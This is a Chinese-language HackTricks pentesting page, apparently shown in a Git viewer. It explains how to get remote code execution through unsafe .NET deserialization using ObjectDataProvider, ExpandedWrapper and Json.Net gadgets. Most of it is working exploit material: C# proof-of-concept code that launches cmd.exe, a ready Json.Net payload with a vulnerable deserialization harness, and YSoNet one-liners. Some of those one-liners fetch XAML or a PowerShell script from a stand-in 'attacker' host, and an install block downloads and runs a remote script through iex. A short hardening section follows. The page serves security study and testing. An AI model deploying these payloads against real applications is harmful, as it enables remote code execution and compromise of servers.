hacktricks/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md

233 lines
12 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
{{#include ../../banners/hacktricks-training.md}}
本文旨在**理解如何利用 ObjectDataProvider 小工具** 来获得 RCE以及**如何**利用该小工具**Json.Net 和 xmlSerializer**进行滥用。
## ObjectDataProvider 小工具
根据文档_ObjectDataProvider 类封装并创建一个可以用作绑定源的对象。_\
是的,这个解释有点奇怪,让我们看看这个类有什么有趣的地方:这个类允许**封装任意对象**,使用 _**MethodParameters**_ 来**设置任意参数,**然后**使用 MethodName 调用任意函数**,该函数是使用任意参数声明的任意对象。\
因此,任意**对象**将在**反序列化**时**执行**一个带有**参数的** **函数**
### **这怎么可能**
**System.Windows.Data** 命名空间在 `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`**PresentationFramework.dll** 中定义和实现了 ObjectDataProvider。
使用 [**dnSpy**](https://github.com/0xd4d/dnSpy) 你可以**检查**我们感兴趣的类的代码。在下面的图像中,我们看到 **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> 方法名称** 的代码。
![](<../../images/image (427).png>)
如你所见,当 `MethodName` 被设置时,调用了 `base.Refresh()`,让我们看看它的作用:
![](<../../images/image (319).png>)
好的,让我们继续看看 `this.BeginQuery()` 的作用。`BeginQuery``ObjectDataProvider` 重写,以下是它的作用:
![](<../../images/image (345).png>)
请注意,在代码的末尾调用了 `this.QueryWorke(null)`。让我们看看它执行了什么:
![](<../../images/image (596).png>)
请注意,这不是 `QueryWorker` 函数的完整代码,但它显示了有趣的部分:代码**调用 `this.InvokeMethodOnInstance(out ex);`** 这是**方法集被调用**的那一行。
如果你想检查仅设置 _**MethodName**_** 就会被执行**,你可以运行以下代码:
```java
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
```
注意,您需要添加作为引用 _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ 以加载 `System.Windows.Data`
## ExpandedWrapper
使用之前的漏洞,将会有一些情况**对象**将被**反序列化为**一个 _**ObjectDataProvider**_ 实例(例如在 DotNetNuke 漏洞中,使用 XmlSerializer对象是通过 `GetType` 反序列化的)。然后,将对包装在 _ObjectDataProvider_ 实例中的对象类型**没有任何了解**(例如 `Process`)。您可以在这里找到更多关于 DotNetNuke 漏洞的 [信息](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1)。
这个类允许**指定封装在**给定实例中的对象的对象类型。因此,这个类可以用来将源对象 (_ObjectDataProvider_) 封装到一个新的对象类型中,并提供我们需要的属性 (_ObjectDataProvider.MethodName_ 和 _ObjectDataProvider.MethodParameters_)。\
这在之前呈现的案例中非常有用,因为我们将能够**将 \_ObjectDataProvider**_** 包装在一个 **_**ExpandedWrapper** \_ 实例中,并且**在反序列化时**,这个类将**创建** _**OjectDataProvider**_ 对象,该对象将**执行**在 _**MethodName**_ 中指示的**函数**。
您可以使用以下代码检查这个包装器:
```java
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
```
## Json.Net
在[官方网站](https://www.newtonsoft.com/json)上指出,这个库允许**使用Json.NET强大的JSON序列化器序列化和反序列化任何.NET对象**。因此,如果我们能够**反序列化ObjectDataProvider小工具**,我们就可以仅通过反序列化一个对象来导致**RCE**。
### Json.Net 示例
首先,让我们看一个如何使用这个库**序列化/反序列化**对象的示例:
```java
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
```
### 滥用 Json.Net
使用 [ysoserial.net](https://github.com/pwntester/ysoserial.net) 我创建了这个漏洞:
```java
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
在这段代码中,你可以**测试漏洞**,只需运行它,你将看到一个计算器被执行:
```java
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
```
## 高级 .NET Gadget 链 (YSoNet & ysoserial.net)
上面介绍的 ObjectDataProvider + ExpandedWrapper 技术只是许多可以在应用程序执行 **不安全的 .NET 反序列化** 时被滥用的 gadget 链之一。现代红队工具如 **[YSoNet](https://github.com/irsdl/ysonet)**(以及较旧的 [ysoserial.net](https://github.com/pwntester/ysoserial.net))自动化创建 **现成的恶意对象图**,适用于数十种 gadget 和序列化格式。
以下是与 *YSoNet* 一起提供的最有用链的简要参考,以及它们的工作原理和生成有效负载的示例命令的快速说明。
| Gadget Chain | 关键思想 / 原语 | 常见序列化器 | YSoNet 一行命令 |
|--------------|------------------|----------------|------------------|
| **TypeConfuseDelegate** | 损坏 `DelegateSerializationHolder` 记录,以便一旦实现,委托指向 *任何* 攻击者提供的方法(例如 `Process.Start` | `BinaryFormatter``SoapFormatter``NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | 滥用 `System.Workflow.ComponentModel.ActivitySurrogateSelector`*绕过 .NET ≥4.8 类型过滤* 并直接调用提供类的 **构造函数****动态编译** C# 文件 | `BinaryFormatter``NetDataContractSerializer``LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | 利用 `System.Data.DataSet`**遗留 XML** 表示,通过填充 `<ColumnMapping>` / `<DataType>` 字段来实例化任意类型(可选地使用 `--spoofedAssembly` 伪造程序集) | `LosFormatter``BinaryFormatter``XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | 在启用 WPF 的运行时(> .NET 5中链式调用属性获取器直到到达 `System.CodeDom.Compiler.CompilerResults`,然后 *编译**加载* 通过 `-c` 提供的 DLL | `Json.NET` 无类型,`MessagePack` 无类型 | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (复习) | 使用 WPF `System.Windows.Data.ObjectDataProvider` 调用带有受控参数的任意静态方法。YSoNet 添加了一个方便的 `--xamlurl` 变体,以远程托管恶意 XAML | `BinaryFormatter``Json.NET``XAML`*等* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | 将 `ScriptBlock` 嵌入 `System.Management.Automation.PSObject` 中,当 PowerShell 反序列化该对象时执行 | PowerShell 远程,`BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
> [!TIP]
> 所有有效负载默认 **写入 *stdout***,使其轻松地通过管道传输到其他工具(例如 ViewState 生成器、base64 编码器、HTTP 客户端)。
### 构建 / 安装 YSoNet
如果在 *Actions ➜ Artifacts* / *Releases* 下没有可用的预编译二进制文件,以下 **PowerShell** 一行命令将设置构建环境,克隆存储库并以 *Release* 模式编译所有内容:
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
```
编译后的 `ysonet.exe` 可以在 `ysonet/bin/Release/` 下找到。
### 检测与加固
* **检测** `w3wp.exe``PowerShell.exe` 或任何反序列化用户提供数据的意外子进程(例如 `MessagePack``Json.NET`)。
* 启用并 **强制类型过滤**`TypeFilterLevel` = *Full*,自定义 `SurrogateSelector``SerializationBinder`*等*)每当无法移除遗留的 `BinaryFormatter` / `NetDataContractSerializer` 时。
* 在可能的情况下迁移到 **`System.Text.Json`** 或 **`DataContractJsonSerializer`**,并使用基于白名单的转换器。
* 阻止危险的 WPF 程序集(`PresentationFramework``System.Workflow.*`)在不需要它们的 Web 进程中加载。
## 参考文献
- [YSoNet .NET 反序列化有效载荷生成器](https://github.com/irsdl/ysonet)
- [ysoserial.net 原始 PoC 工具](https://github.com/pwntester/ysoserial.net)
- [Microsoft CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
{{#include ../../banners/hacktricks-training.md}}